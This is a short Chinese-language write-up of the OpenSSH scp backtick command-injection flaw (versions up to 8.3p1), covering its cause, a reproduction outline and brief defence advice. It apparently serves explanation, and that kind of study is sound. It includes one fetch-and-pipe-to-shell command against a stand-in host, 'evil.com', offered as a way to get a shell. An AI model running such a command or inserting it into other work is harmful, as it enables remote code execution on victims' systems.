一、漏洞简介
该漏洞发生于 OpenSSH <= 8.3p1 系统,即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。
利用条件:知道目标的ssh密码
二、漏洞原理
scp是 secure copy的缩写, scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。
scp格式为:
scp SourceFile user@host:directory/TargetFile
scp [参数] [原路径] [目标路径]
scp命令在执行时,会使用”-t“参数来获取存储传入文件的路径,但是未对传入的文件路径进行检测防护:
使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。
三、漏洞复现
首先,我们向目标机器上传文件。如图,需要输入密码,因此我要重申,这次漏洞还是有点鸡肋。
接着,执行带有payload的scp命令,payload的作用是在目标机器上生成一个sh文件:
查看文件,可以看到创建成功:
这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。那么攻击者可以使用下列命令获取网站的shell:
wget http://evil.com/exp.sh -O- | sh
四、漏洞防御
先确保ssh密码没有泄露,等一波openssh的新版本吧